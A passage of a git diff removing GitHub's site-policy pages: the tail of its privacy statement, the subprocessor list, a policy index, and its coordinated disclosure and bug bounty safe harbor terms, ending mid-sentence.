a photo, additional email addresses, job title, or biography. -* Sales and Marketing Data: This includes information provided for promotional communications, such as name, email address, and company name. -* Support Data: When you seek customer support, we collect details like code, text, or multimedia files. - -### Automatically - -* Buttons, Tools, and Content from Other Companies: Our Services may contain links or buttons that lead to third-party services like Twitter or LinkedIn. Use of these features may result in data collection. Engaging with these buttons, tools, or content may automatically send certain browser information to these companies. Please review the privacy statements of these companies for more information. -* Essential Cookies and Similar Tracking Technologies: We use cookies and similar technologies to provide essential functionality like storing settings and recognizing you while using our Services. -* Non-essential Cookies: Depending on your jurisdiction, we may use online analytics products that use cookies to help us analyze how de-identified users use our Services and to enhance your experience when you use the Services. We may also employ third-party Cookies to gather data for interest-based advertising. In some jurisdictions, we only use non-essential cookies after obtaining your consent. See [this](#what-are-your-cookie-choices-and-controls) section for more details and control options. -* Email Marketing Interactions: Our emails may have web beacons that offer information on your device type, email client, email reception, opens, and link clicks. -* Geolocation Information: Depending on the Service's functionality, we collect regional geolocation data. -* Service Usage Information: We collect data about your interactions with the Services, such as IP address, device information, session details, date and time of requests, device type and ID, operating system and application version, information related to your contributions to repositories, and performance of specific features or Services. -* Website Usage Data: We automatically log data about your Website interactions, including the referring site, date and time of visit, pages viewed, and links clicked. - -### From Third Parties - -* Information from Other Users of the Services: Other users may share information about you when they submit issues and comments. We may also receive information about you if you are identified as a representative or administrator on your company's account. -* Publicly Available Sources: We may acquire information about you from publicly available sources like public GitHub repositories. -* Services you linked to your GitHub account: When you or your administrator integrate third-party apps or services with our Services, we receive information based on your settings with those services. This can include details like your name and email from services like Google for authentication. The information we receive depends on the third-party's settings and privacy policies. Always review these to understand what data is shared with our Services. -* Vendors, Partners, and Affiliates: We may receive information about you from third parties, like vendors, resellers, partners, or affiliates for the purposes outlined in this statement. - -## Processing Purposes: How We Use Your Personal Data - -The Personal Data we process depends on your interaction and access methods with our Services, including the interfaces (web, desktop, mobile apps), features used (pull requests, Codespaces, GitHub Copilot), and your preferred access tools (like your IDE). This section details all the potential ways GitHub may process your Personal Data: - -* Business Operations: We use Personal Data for activities like billing, accounting, and compensation. This includes creating aggregated statistical data for internal reporting, financial reporting, revenue planning, capacity planning, and forecast modeling (including product strategy). -* Communication: We use Personal Data to inform you about new Services, features, offers, promotions, and other pertinent information. This also includes sending confirmations, invoices, technical notices, updates, security alerts, and administrative messages. -* Inference: We generate new information from other data we collect to derive likely preferences or other characteristics. For instance, we infer your general geographic location based on your IP address. -* Personalization: We use Personal Data to customize the Service to your preferences, to evaluate the effectiveness of enterprise business ads and promotional communications, and to ensure a seamless and consistent user experience. -* Safety and Security: To promote safety, integrity, and security across our Services, we process Personal Data, using both automated and, at times, manual techniques for abuse detection, prevention, and violations of terms of service. -* Service Provision: We use Personal Data to deliver and update our Services as configured and used by You, and to make ongoing personalized experiences and recommendations. -* Troubleshooting: We use Personal Data to identify and resolve technical issues. -* Ongoing Service Performance: Personal Data helps us keep the Services up to date and performant, and meet user productivity, reliability, efficacy, quality, privacy, accessibility and security needs. -* Complying with and resolving legal obligations: including responding to Data Subject Requests for Personal Data processed by GitHub as Controller (for example website data), tax requirements, agreements and disputes. -* Delivering Professional Services: We use Personal Data to deliver training, consulting or implementation (“Professional Services”). This includes providing technical support, professional planning, advice, guidance, data migration, deployment, and solution/software development services. -* Improving Professional Services: Enhancing delivery, efficacy, quality, and security of Professional Services and the underlying product(s) based on issues identified while providing Professional Services, including fixing software defects, and otherwise keeping the Professional Services up to date and performant. - -When carrying out these activities, GitHub practices data minimization and uses the minimum amount of Personal Information required. - -## Sharing of Personal Data - -We may share Personal Data with the following recipients: - -* Abuse and Fraud Prevention Entities: We may disclose Personal Data based on a good faith belief it is needed to prevent fraud, abuse, or attacks on our Services, or to protect the safety of GitHub and our users. -* Affiliates: Personal Data may be shared with GitHub affiliates, including Microsoft, to facilitate customer service, marketing and advertising, order fulfillment, billing, technical support, and legal and compliance obligations. Our affiliates may only use the Personal Data in a manner consistent with this Privacy Statement. -* GitHub Organization Accounts: If an organization adds you to their GitHub account, we might share Personal Data with that organization to fulfill the commercial relationship. In such a case, your use of the Services is protected by a data protection agreement and terms between your organization and GitHub -* Competent Authorities: We may disclose Personal Data to authorized law enforcement, regulators, courts, or other public authorities in response to lawful requests or to protect our rights and safety. Please refer to our [Guidelines for Legal Requests of User Data](https://docs.github.com/en/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data) for more information. -* Corporate Transaction Entities: we might disclose Personal Data within the limits of the law and in accordance with this Privacy Statement for strategic business transactions such as sales or a merger. -* Partners and Resellers: We cooperate with third-parties that offer sales, consulting, support, and technical services for our Services. We may share your data with these partners and resellers where allowed, and with your consent when required. -* Subprocessors and Service Providers: We may use vendors to provide services on our behalf, including hosting, marketing, advertising, social, analytics, support ticketing, credit card processing, or security services. They are bound by contractual obligations to ensure the security, privacy, and confidentiality of your information. Please visit to see our list of Subprocessors. -* Visual Studio Code (GitHub Codespaces): GitHub Codespaces and github.dev offer Visual Studio Code in a web browser, where some telemetry is collected by default. Details on telemetry collection are on the [VS Code website](https://code.visualstudio.com/docs/getstarted/telemetry). To opt out, go to File > Preferences > Settings in the top left menu of VS Code. Opting out will sync this preference across all future web sessions in GitHub Codespaces and github.dev. -* Other Third-party Applications: Upon your instruction, we may share Personal Data with third-party applications available on our Marketplace. You are responsible for the data you instruct us to share with these applications. -* Other Users and the Public: Depending on your account settings, we may share Personal Data with other users of the Services and the public. You control what information is made public. To adjust your settings, visit User Settings in your profile. Please be aware that any information you share in a collaborative context may become publicly accessible. - -## Private repositories: GitHub Access - -If your GitHub account has private repositories, you control the access to that information. GitHub personnel does not access private repository information without your consent except as provided in this Privacy Statement and for: - - - -* security purposes -* automated scanning or manual review for known vulnerabilities, active malware, or other content known to violate our Terms of Service -* to assist the repository owner with a support matter -* to maintain the integrity of the Services, or -* to comply with our legal obligations if we have reason to believe the contents are in violation of the law. - - - -GitHub will provide you with notice regarding private repository access unless doing so is prohibited by law or if GitHub acted in response to a security threat or other risk to security. - -## Lawful Bases for Processing Personal Data (Applicable to EEA and UK End Users) - -GitHub processes Personal Data in compliance with the GDPR, ensuring a lawful basis for each processing activity. The basis varies depending on the data type and the context, including how you access the services. Our processing activities typically fall under these lawful bases: - -* Contractual Necessity: Processing is required to fulfill our contractual duties to you, in accordance with the GitHub Terms of Service. -* Legal Obligation: We process data when it's necessary to comply with applicable laws or to protect the rights, safety, and property of GitHub, our affiliates, users, or third parties. -* Legitimate Interests: We process data for purposes that are in our legitimate interests, such as securing our Services, communicating with you, and improving our Services. This is done only when these interests are not overridden by your data protection rights or your fundamental rights and freedoms. -* Consent: We process data when you have explicitly consented to such processing. When we rely on consent as the legal basis, you have the right to withdraw your consent for data processing at any time. The procedures for withdrawal are detailed in this Statement and available on our website. - -## Your Privacy Rights - -Depending on your residence location, you may have specific legal rights regarding your Personal Data: - -* The right to access the data collected about you -* The right to request detailed information about the specific types of Personal Data we've collected over the past 12 months, including data disclosed for business purposes -* The right to rectify or update inaccurate or incomplete Personal Data under certain circumstances -* The right to erase or limit the processing of your Personal Data under specific conditions -* The right to object to the processing of your Personal Data, as allowed by applicable law -* The right to withdraw consent, where processing is based on your consent -* The right to receive your collected Personal Data in a structured, commonly used, and machine-readable format to facilitate its transfer to another company, where technically feasible - -To exercise these rights, please send an email to privacy[at]github[dot]com and follow the instructions provided. To verify your identity for security, we may request extra information before addressing your data-related request. Please contact our Data Protection Officer at dpo[at]github[dot]com for any feedback or concerns. Depending on your region, you have the right to complain to your local Data Protection Authority. European users can find authority contacts on the European Data Protection Board website, and UK users on the Information Commissioner’s Office website. - -We aim to promptly respond to requests in compliance with legal requirements. Please note that we may retain certain data as necessary for legal obligations or for establishing, exercising, or defending legal claims. - -## International data transfers - -GitHub stores and processes Personal Data in a variety of locations, including your local region, the United States, and other countries where GitHub, its affiliates, subsidiaries, or subprocessors have operations. We transfer Personal Data from the European Union, the United Kingdom, and Switzerland to countries that the European Commission has not recognized as having an adequate level of data protection. When we engage in such transfers, we generally rely on the standard contractual clauses published by the European Commission under [Commission Implementing Decision 2021/914](https://eur-lex.europa.eu/eli/dec_impl/2021/914/oj), to help protect your rights and enable these protections to travel with your data. To learn more about the European Commission’s decisions on the adequacy of the protection of personal data in the countries where GitHub processes personal data, see this article on the [European Commission website](https://commission.europa.eu/law/law-topic/data-protection/international-dimension-data-protection/adequacy-decisions_en). - -## Data Privacy Framework (DPF) - -GitHub also complies with the EU-U.S. Data Privacy Framework (EU-U.S. DPF), the UK Extension to the EU-U.S. DPF, and the Swiss-U.S. Data Privacy Framework (Swiss-U.S. DPF) as set forth by the U.S. Department of Commerce. GitHub has certified to the U.S. Department of Commerce that it adheres to the EU-U.S. Data Privacy Framework Principles (EU-U.S. DPF Principles) with regard to the processing of personal data received from the European Union in reliance on the EU-U.S. DPF and from the United Kingdom (and Gibraltar) in reliance on the UK Extension to the EU-U.S. DPF. GitHub has certified to the U.S. Department of Commerce that it adheres to the Swiss-U.S. Data Privacy Framework Principles (Swiss-U.S. DPF Principles) with regard to the processing of personal data received from Switzerland in reliance on the Swiss-U.S. DPF. If there is any conflict between the terms in this privacy statement and the EU-U.S. DPF Principles and/or the Swiss-U.S. DPF Principles, the Principles shall govern. To learn more about the Data Privacy Framework (DPF) program, and to view our certification, please visit . - -GitHub has the responsibility for the processing of Personal Data it receives under the Data Privacy Framework (DPF) Principles and subsequently transfers to a third party acting as an agent on GitHub’s behalf. GitHub shall remain liable under the DPF Principles if its agent processes such Personal Data in a manner inconsistent with the DPF Principles, unless the organization proves that it is not responsible for the event giving rise to the damage. - -### Dispute resolution process - -In compliance with the EU-U.S. DPF, the UK Extension to the EU-U.S. DPF, and the Swiss-U.S. DPF, GitHub commits to resolve DPF Principles-related complaints about our collection and use of your personal information. EU, UK, and Swiss individuals with inquiries or complaints regarding our handling of personal data received in reliance on the EU-U.S. DPF, the UK Extension, and the Swiss-U.S. DPF should first contact GitHub at: dpo[at]github[dot]com. - -If you do not receive timely acknowledgment of your DPF Principles-related complaint from us, or if we have not addressed your DPF Principles-related complaint to your satisfaction, please visit for more information or to file a complaint. The services of the International Centre for Dispute Resolution are provided at no cost to you. - -An individual has the possibility, under certain conditions, to invoke binding arbitration for complaints regarding DPF compliance not resolved by any of the other DPF mechanisms. For additional information visit . - -### Government Enforcement - -GitHub is subject to the investigatory and enforcement powers of the Federal Trade Commission (FTC). Under Section 5 of the Federal Trade Commission Act (15 U.S.C. § 45), an organization's failure to abide by commitments to implement the DPF Principles may be challenged as deceptive by the FTC. The FTC has the power to prohibit such misrepresentations through administrative orders or by seeking court orders. - -## Security and Retention - -GitHub uses appropriate administrative, technical, and physical security controls to protect your Personal Data. We’ll retain your Personal Data as long as your account is active and as needed to fulfill contractual obligations, comply with legal requirements, resolve disputes, and enforce agreements. The retention duration depends on the purpose of data collection and any legal obligations. - -## Security - -GitHub uses administrative, technical, and physical security controls where appropriate to protect your Personal Data. - -## Contact Us - -Contact us via our contact form or by emailing our Data Protection Officer at dpo[at]github[dot]com. -Our addresses are: - -GitHub B.V. -Prins Bernhardplein 200, Amsterdam -1097JB -The Netherlands - -GitHub, Inc. -88 Colin P. Kelly Jr. St. -San Francisco, CA 94107 -United States - -## Information for Minors - -Our Services are not intended for individuals under the age of 13. We do not intentionally gather Personal Data from such individuals. If you become aware that a minor has provided us with Personal Data, please [notify us](https://support.github.com/contact/privacy). - -## Changes to Our Privacy Statement - -GitHub may periodically revise this Privacy Statement. If there are material changes to the statement, we will provide at least 30 days prior notice by updating our website or sending an email to your primary email address associated with your GitHub account. - -## Translations - -Below are translations of this document into other languages. In the event of any conflict, uncertainty, or apparent inconsistency between any of those versions and the English version, this English version is the controlling version. - -### French - -Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub (PDF)](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(fr).pdf). - -### Other translations - -For translations of this statement into other languages, please visit and select a language from the drop-down menu under “English.” - -## Our use of cookies and tracking technologies - -### Cookies and tracking technologies - -GitHub uses cookies to provide, secure and improve our Service or to develop new features and functionality of our Service. For example, we use them to (i) keep you logged in, (ii) remember your preferences, (iii) identify your device for security and fraud purposes, including as needed to maintain the integrity of our Service, (iv) compile statistical reports, and (v) provide information and insight for future development of GitHub. We provide more information about [cookies on GitHub](https://github.com/privacy/cookies) that describes the cookies we set, the needs we have for those cookies, and the expiration of such cookies. - -For Enterprise Marketing Pages, we may also use non-essential cookies to (i) gather information about enterprise users’ interests and online activities to personalize their experiences, including by making the ads, content, recommendations, and marketing seen or received more relevant and (ii) serve and measure the effectiveness of targeted advertising and other marketing efforts. If you disable the non-essential cookies on the Enterprise Marketing Pages, the ads, content, and marketing you see may be less relevant. - -Our emails to users may contain a pixel tag, which is a small, clear image that can tell us whether or not you have opened an email and what your IP address is. We use this pixel tag to make our email communications more effective and to make sure we are not sending you unwanted email. - -The length of time a cookie will stay on your browser or device depends on whether it is a “persistent” or “session” cookie. Session cookies will only stay on your device until you stop browsing. Persistent cookies stay until they expire or are deleted. The expiration time or retention period applicable to persistent cookies depends on the purpose of the cookie collection and tool used. You may be able to delete cookie data. For more information, see [AUTOTITLE](/site-policy/privacy-policies/github-privacy-statement#what-are-your-cookie-choices-and-controls). - -#### What are cookies and similar technologies? - -We use cookies and similar technologies, such as web beacons, local storage, and mobile analytics, to operate and provide our Services. When visiting Enterprise Marketing Pages, like resources.github.com, these and additional cookies, like advertising IDs, may be used for sales and marketing purposes. - -Cookies are small text files stored by your browser on your device. A cookie can later be read when your browser connects to a web server in the same domain that placed the cookie. The text in a cookie contains a string of numbers and letters that may uniquely identify your device and can contain other information as well. This allows the web server to recognize your browser over time, each time it connects to that web server. - -Web beacons are electronic images (also called “single-pixel” or “clear GIFs”) that are contained within a website or email. When your browser opens a webpage or email that contains a web beacon, it automatically connects to the web server that hosts the image (typically operated by a third party). This allows that web server to log information about your device and to set and read its own cookies. In the same way, third-party content on our websites (such as embedded videos, plug-ins, or ads) results in your browser connecting to the third-party web server that hosts that content. - -Mobile identifiers for analytics can be accessed and used by apps on mobile devices in much the same way that websites access and use cookies. When visiting Enterprise Marketing pages, like resources.github.com, on a mobile device these may allow us and our third-party analytics and advertising partners to collect data for sales and marketing purposes. - -We may also use so-called “flash cookies” (also known as “Local Shared Objects” or “LSOs”) to collect and store information about your use of our Services. Flash cookies are commonly used for advertisements and videos. - -#### How do we and our partners use cookies and similar technologies? - -The GitHub Services use cookies and similar technologies for a variety of purposes, including to store your preferences and settings, enable you to sign-in, analyze how our Services perform, track your interaction with the Services, develop inferences, combat fraud, and fulfill other legitimate purposes. Some of these cookies and technologies may be provided by third parties, including service providers and advertising partners. For example, our analytics and advertising partners may use these technologies in our Services to collect personal information (such as the pages you visit, the links you click on, and similar usage information, identifiers, and device information) related to your online activities over time and across Services for various purposes, including targeted advertising. GitHub will place non-essential cookies on pages where we market products and services to enterprise customers, for example, on resources.github.com. - -We and/or our partners also share the information we collect or infer with third parties for these purposes. - -The table below provides additional information about how we use different types of cookies: - -| Purpose | Description | -|:---|:---| -| Required Cookies | GitHub uses required cookies to perform essential website functions and to provide the services. For example, cookies are used to log you in, save your language preferences, provide a shopping cart experience, improve performance, route traffic between web servers, detect the size of your screen, determine page load times, improve user experience, and for audience measurement. These cookies are necessary for our websites to work. | -| Analytics | We allow third parties to use analytics cookies to understand how you use our websites so we can make them better. For example, cookies are used to gather information about the pages you visit and how many clicks you need to accomplish a task. We also use some analytics cookies to provide personalized advertising. | -| Social Media | GitHub and third parties use social media cookies to show you ads and content based on your social media profiles and activity on GitHub’s websites. This ensures that the ads and content you see on our websites and on social media will better reflect your interests. This also enables third parties to develop and improve their products, which they may use on websites that are not owned or operated by GitHub. | -| Advertising | In addition, GitHub and third parties use advertising cookies to show you new ads based on ads you've already seen. Cookies also track which ads you click or purchases you make after clicking an ad. This is done both for payment purposes and to show you ads that are more relevant to you. For example, cookies are used to detect when you click an ad and to show you ads based on your social media interests and website browsing history. | - -#### What are your cookie choices and controls? - - You have several options to disable non-essential cookies: - - 1. **Specifically on GitHub Enterprise Marketing Pages** - - Any GitHub page that serves non-essential cookies will have a link in the page’s footer to cookie settings. You can express your preferences at any time by clicking on that linking and updating your settings. - - Some users will also be able to manage non-essential cookies via a cookie consent banner, including the options to accept, manage, and reject all non-essential cookies. - 1. **Generally for all websites** - You can control the cookies you encounter on the web using a variety of widely-available tools. For example: - -* If your browser sends a [Do Not Track](https://en.wikipedia.org/wiki/Do_Not_Track) (DNT) signal, GitHub will not set non-essential cookies and will not load third party resources which set non-essential cookies. -* Many browsers provide cookie controls which may limit the types of cookies you encounter online. Check out the documentation for your browser to learn more. -* If you enable a browser extension designed to block tracking, such as [Privacy Badger](https://en.wikipedia.org/wiki/Privacy_Badger), non-essential cookies set by a website or third parties may be disabled. -* If you enable a browser extension designed to block unwanted content, such as [uBlock Origin](https://en.wikipedia.org/wiki/UBlock_Origin), non-essential cookies will be disabled to the extent that content that sets non-essential cookies will be blocked. -* You may use the Global Privacy Control (GPC) to communicate your privacy preferences. If GitHub detects the GPC signal from your device, GitHub will not share your data (we do not sell your data). To learn more, visit [Global Privacy Control — Take Control Of Your Privacy](https://globalprivacycontrol.org/) -* Advertising controls. Our advertising partners may participate in associations that provide simple ways to opt out of ad targeting, which you can access at: -* United States: [NAI](http://optout.networkadvertising.org) and [DAA](http://optout.aboutads.info/) -* Canada: [Digital Advertising Alliance of Canada](https://youradchoices.ca/) -* Europe: [European Digital Advertising Alliance](http://www.youronlinechoices.com/) - -These choices are specific to the browser you are using. If you access our Services from other devices or browsers, take these actions from those systems to ensure your choices apply to the data collected when you use those systems. - -## US State Specific Information - -This section provides extra information specifically for residents of certain US states that have distinct data privacy laws and regulations. These laws may grant specific rights to residents of these states when the laws come into effect. This section uses the term “personal information” as an equivalent to the term “Personal Data.” - -### Privacy Rights - -These rights are common to the US State privacy laws: - -* Right to Knowledge and Correction: You have the right to request details on the specific personal information we’ve collected about you and the right to correct inaccurate information. You can exercise this right by contacting us. You can also access and edit basic account information in your settings. -* Right to Know Data Recipients: We share your information with service providers for legitimate business operations, such as data storage and hosting. For more details, please see “Sharing Your Information” below. -* Right to request Deletion: You reserve the right to request the deletion of your data, barring a few exceptions. Such exceptions include circumstances where we are required to retain data to comply with legal obligations, detect fraudulent activity, investigate reports of abuse or other violations of our Terms of Service, or rectify security issues. Upon receiving your verified request, we will promptly delete your personal information (unless an exception applies), and instruct our service providers to do the same. We employ brief retention terms by design. -* Right to a Timely Response: You are allowed to make two free requests in any 12-month period. We commit to responding to your request within 45 days. In complex cases, we may extend our response time by an additional 45 days. -* Non-Discrimination: We will not hold it against you when you exercise any of your rights. On the contrary, we encourage you to review your privacy settings closely and contact us with any questions. - -### Notice of Collection of Personal Information - -We may collect various categories of personal information about our website visitors and users of "Services" which includes GitHub applications, software, products, or services. That information includes identifiers/contact information, demographic information, payment information, commercial information, internet or electronic network activity information, geolocation data, audio, electronic, visual, or similar information, and inferences drawn from such information. - -We collect this information for various purposes. This includes identifying accessibility gaps and offering targeted support, fostering diversity and representation, providing services, troubleshooting, conducting business operations such as billing and security, improving products and supporting research, communicating important information, ensuring personalized experiences, and promoting safety and security. - -### Exercising your Privacy Rights - -To make an access, deletion, correction, or opt-out request, please send an email to privacy[at]github[dot]com and follow the instructions provided. We may need to verify your identity before processing your request. If you choose to use an authorized agent to submit a request on your behalf, please ensure they have your signed permission or power of attorney as required. - -To opt out of the sharing of your personal information, you can click on the "Do Not Share My Personal Information" link on the footer of our Websites or use the Global Privacy Control ("GPC") if available. Authorized agents can also submit opt-out requests on your behalf. - -### California - -#### Mandatory Disclosures - -We also make the following disclosures for purposes of compliance with California privacy law: - -* We collected the following categories of personal information in the last 12 months: identifiers/contact information, demographic information (such as gender), payment card information associated with you, commercial information, Internet or other electronic network activity information, geolocation data, audio, electronic, visual or similar information, and inferences drawn from the above. -* The sources of personal information from whom we collected are: directly from you, automatically or from third parties. -* The business or commercial purposes of collecting personal information are as summarized above and in our Privacy Statement under Processing Purposes. -* We disclosed the following categories of personal information for a business purpose in the last 12 months: identifiers/contact information, demographic information (such as gender and rough geographic location), payment information, commercial information, Internet or other electronic network activity information, geolocation data, audio, electronic, visual or similar information, and inferences drawn from the above. We disclosed each category to third-party business partners and service providers, third-party sites or platforms such as social networking sites, and other third parties as described in the Sharing of Personal Data section of our Privacy Statement. -* As defined by applicable law, we “shared” the following categories of personal information in the last 12 months: identifiers/contact information, Internet or other electronic network activity information, and inferences drawn from the above. We shared each category to or with advertising networks, data analytics providers, and social networks. -* The business or commercial purpose of sharing personal information is to assist us with marketing, advertising, and audience measurement. -* We do not “sell” or “share” the personal information of known minors under 16 years of age. - -#### Shine the Light Act - -Under California Civil Code section 1798.83, also known as the “Shine the Light” law, California residents who have provided personal information to a business with which the individual has established a business relationship for personal, family, or household purposes (“California Customers”) may request information about whether the business has disclosed personal information to any third parties for the third parties’ direct marketing purposes. Please be aware that we do not disclose personal information to any third parties for their direct marketing purposes as defined by this law. California Customers may request further information about our compliance with this law by emailing (privacy[at]github[dot]com). Please note that businesses are required to respond to one request per California Customer each year and may not be required to respond to requests made by means other than through the designated email address. - -#### Removal of Content - -California residents under the age of 18 who are registered users of online sites, services, or applications have a right under California Business and Professions Code Section 22581 to remove, or request and obtain removal of, content or information they have publicly posted. To remove content or information you have publicly posted, please submit a [Private Information Removal request](https://support.github.com/contact/private-information). Alternatively, to request that we remove such content or information, please send a detailed description of the specific content or information you wish to have removed to [GitHub support](https://support.github.com/request). Please be aware that your request does not guarantee complete or comprehensive removal of content or information posted online and that the law may not permit or require removal in certain circumstances. If you have any questions about our privacy practices with respect to California residents, please send an email to privacy[at]github[dot]com. - -We value the trust you place in us and are committed to handling your personal information with care and respect. If you have any questions or concerns about our privacy practices, please email our Data Protection Officer at dpo[at]github[dot]com. - -### Colorado/Connecticut/Virginia - -If you live in Colorado, Connecticut, or Virginia you have some additional rights: - -* If we deny your rights request, you have the right to appeal that decision. We will provide you with the necessary information to submit an appeal at that time. -* You have the right to opt out of profiling in furtherance of decisions that produce legal or similarly significant effects concerning the consumer. GitHub does not engage in such profiling as defined by Colorado law, so there’s no need to opt out. - -### Nevada - -We do not sell your covered information, as defined under Chapter 603A of the Nevada Revised Statutes. If you still have questions about your covered information or anything else in our Privacy Statement, please send an email to privacy[at]github[dot]com. diff --git a/content/site-policy/privacy-policies/github-subprocessors.md b/content/site-policy/privacy-policies/github-subprocessors.md deleted file mode 100644 index bfb4f86ed294..000000000000 --- a/content/site-policy/privacy-policies/github-subprocessors.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: GitHub Subprocessors -redirect_from: - - /subprocessors - - /github-subprocessors - - /articles/github-subprocessors-and-cookies - - /github/site-policy/github-subprocessors-and-cookies - - /site-policy/privacy-policies/github-subprocessors-and-cookies -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -GitHub defines customer data as all data provided by the customer to GitHub through their use of GitHub services. Some customer data is personal data as defined under GDPR. - -The GitHub Subprocessor List identifies subprocessors authorized to subprocess customer or personal data on behalf of GitHub to provide services to our Enterprise customers. This list is applicable for all GitHub services governed by the [GitHub Data Protection Agreement](https://github.com/customer-terms/github-data-protection-agreement). - -GitHub publishes the names of any new subprocessors for its online services at least 30 days in advance of the subprocessor’s authorization to perform services that may involve access to customer data or personal data. - -To receive notifications of updates to this Subprocessor list, please follow the instructions provided in [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). - -If you have questions about this list, please contact us at . - -| Name of Subprocessor | Description of Processing | Location of Processing | Corporate Location | -| --------------------------- | ------------------------------------------------------------------------------ | ----------------------- | ------------------ | -| Amazon Web Services (AWS) | Cloud Hosted Infrastructure and Data Hosting | United States | United States | -| Anthropic PBC | AI Inference and AI Services | United States | United States | -| Azure (Microsoft) | Cloud Hosted Infrastructure and Data Hosting | United States, France,
Switzerland, and Japan | United States | -| Azure Cognitive Services | Customer support ticketing analysis | United States | United States | -| Cloudflare | Content delivery service | United States | United States | -| Fastly | Content delivery service | United States | United States | -| GitHub Australia Pty Ltd | GitHub Subsidiary | Australia | Australia | -| GitHub BV | GitHub Subsidiary | Netherlands | Netherlands | -| GitHub Canada ULC | GitHub Subsidiary | Canada | Canada | -| GitHub Germany GmbH | GitHub Subsidiary | Germany | Germany | -| GitHub India Pty Ltd | GitHub Subsidiary | India | India | -| Google Cloud Platform (GCP) | Cloud Hosted Infrastructure | United States | United States | -| Microsoft | Technical Services | United States | United States | -| Moveworks | Customer support ticketing analysis | United States | United States | -| NexMo (aka Vonage) | SMS notification provider for 2 Factor Authentication | United States | United States | -| Npm, Inc. | GitHub Subsidiary | United States | United States | -| Obsidian Security | Security management | United States | United States | -| Pusher | Building and managing real-time infrastructure for web and mobile applications | United States | United States | -| Semmle Inc. | GitHub Subsidiary | United States | United States | -| SendGrid | SMS notification provider for 2 Factor Authentication | United States | United States | -| Twilio | SMS notification provider for 2 Factor Authentication | United States | United States | -| VividCortex | Monitor database performance, efficiency, and uptime | United States | United States | -| Zendesk | Customer support ticketing system | United States | United States | diff --git a/content/site-policy/privacy-policies/index.md b/content/site-policy/privacy-policies/index.md deleted file mode 100644 index aef6d92cf7e6..000000000000 --- a/content/site-policy/privacy-policies/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Privacy Policies -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /github-general-privacy-statement - - /github-subprocessors - - /github-cookies - - /github-codespaces-privacy-statement - - /github-candidate-privacy-policy -redirect_from: - - /github/site-policy/github-data-protection-addendum - - /github/site-policy-deprecated/github-data-protection-addendum - - /github/site-policy/github-data-protection-agreement-non-enterprise-customers - - /site-policy/privacy-policies/github-data-protection-agreement - - /site-policy/privacy-policies/github-octernships-terms-of-service ---- diff --git a/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md b/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md deleted file mode 100644 index 7e9ba1326beb..000000000000 --- a/content/site-policy/security-policies/coordinated-disclosure-of-security-vulnerabilities.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Coordinated Disclosure of Security Vulnerabilities -redirect_from: - - /responsible-disclosure - - /coordinated-disclosure - - /articles/responsible-disclosure-of-security-vulnerabilities - - /github/site-policy/responsible-disclosure-of-security-vulnerabilities - - /github/site-policy/coordinated-disclosure-of-security-vulnerabilities -versions: - fpt: '*' -topics: - - Policy - - Legal ---- -We want to keep GitHub safe for everyone. If you've discovered a security vulnerability in GitHub, we appreciate your help in disclosing it to us in a coordinated manner. - -## Bounty Program - -Like several other large software companies, GitHub provides a bug bounty to better engage with security researchers. The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our coordinated disclosure process. Then, to recognize the significant effort that these researchers often put forth when hunting down bugs, we reward them with some cold hard cash. - -Check out the [GitHub Bug Bounty](https://bounty.github.com) site for bounty details, review our comprehensive [Legal Safe Harbor Policy](/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor) terms as well, and happy hunting! diff --git a/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md b/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md deleted file mode 100644 index 1818712ee97e..000000000000 --- a/content/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: GitHub Bug Bounty Program Legal Safe Harbor -redirect_from: - - /articles/github-bug-bounty-program-legal-safe-harbor -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -## Summary - -1. We want you to coordinate disclosure through our bug bounty program, and don't want researchers put in fear of legal consequences because of their good faith attempts to comply with our bug bounty policy. We cannot bind any third party, so do not assume this protection extends to any third party. If in doubt, ask us before engaging in any specific action you think _might_ go outside the bounds of our policy. -1. Because both identifying and non-identifying information can put a researcher at risk, we limit what we share with third parties. We may provide non-identifying substantive information from your report to an affected third party, but only after notifying you and receiving a commitment that the third party will not pursue legal action against you. We will only share identifying information (name, email address, phone number, etc.) with a third party if you give your written permission. -1. If your security research as part of the bug bounty program violates certain restrictions in our site policies, the safe harbor terms permit a limited exemption. - -## 1. Safe Harbor Terms - -To encourage research and coordinated disclosure of security vulnerabilities, we will not pursue civil or criminal action, or send notice to law enforcement for accidental or good faith violations of this policy. We consider security research and vulnerability disclosure activities conducted consistent with this policy to be “authorized” conduct under the Computer Fraud and Abuse Act, the DMCA, and other applicable computer use laws such as Cal. Penal Code 502(c). We waive any potential DMCA claim against you for circumventing the technological measures we have used to protect the applications in this bug bounty program's scope. - -Please understand that if your security research involves the networks, systems, information, applications, products, or services of a third party (which is not us), we cannot bind that third party, and they may pursue legal action or law enforcement notice. We cannot and do not authorize security research in the name of other entities, and cannot in any way offer to defend, indemnify, or otherwise protect you from any third party action based on your actions. - -You are expected, as always, to comply with all laws applicable to you, and not to disrupt or compromise any data beyond what this bug bounty program permits. - -Please contact us before engaging in conduct that may be inconsistent with or unaddressed by this policy. We reserve the sole right to make the determination of whether a violation of this policy is accidental or in good faith, and proactive contact to us before engaging in any action is a significant factor in that decision. If in doubt, ask us first! - -## 2. Third Party Safe Harbor - -If you submit a report through our bug bounty program which affects a third party service, we will limit what we share with any affected third party. We may share non-identifying content from your report with an affected third party, but only after notifying you that we intend to do so and getting the third party's written commitment that they will not pursue legal action against you or initiate contact with law enforcement based on your report. We will not share your identifying information with any affected third party without first getting your written permission to do so. - -Please note that we cannot authorize out-of-scope testing in the name of third parties, and such testing is beyond the scope of our policy. Refer to that third party's bug bounty policy, if they have one, or contact the third party either directly or through a legal representative before initiating any testing on that third party or their services. This is not, and should not be understood as, any agreement on our part to defend, 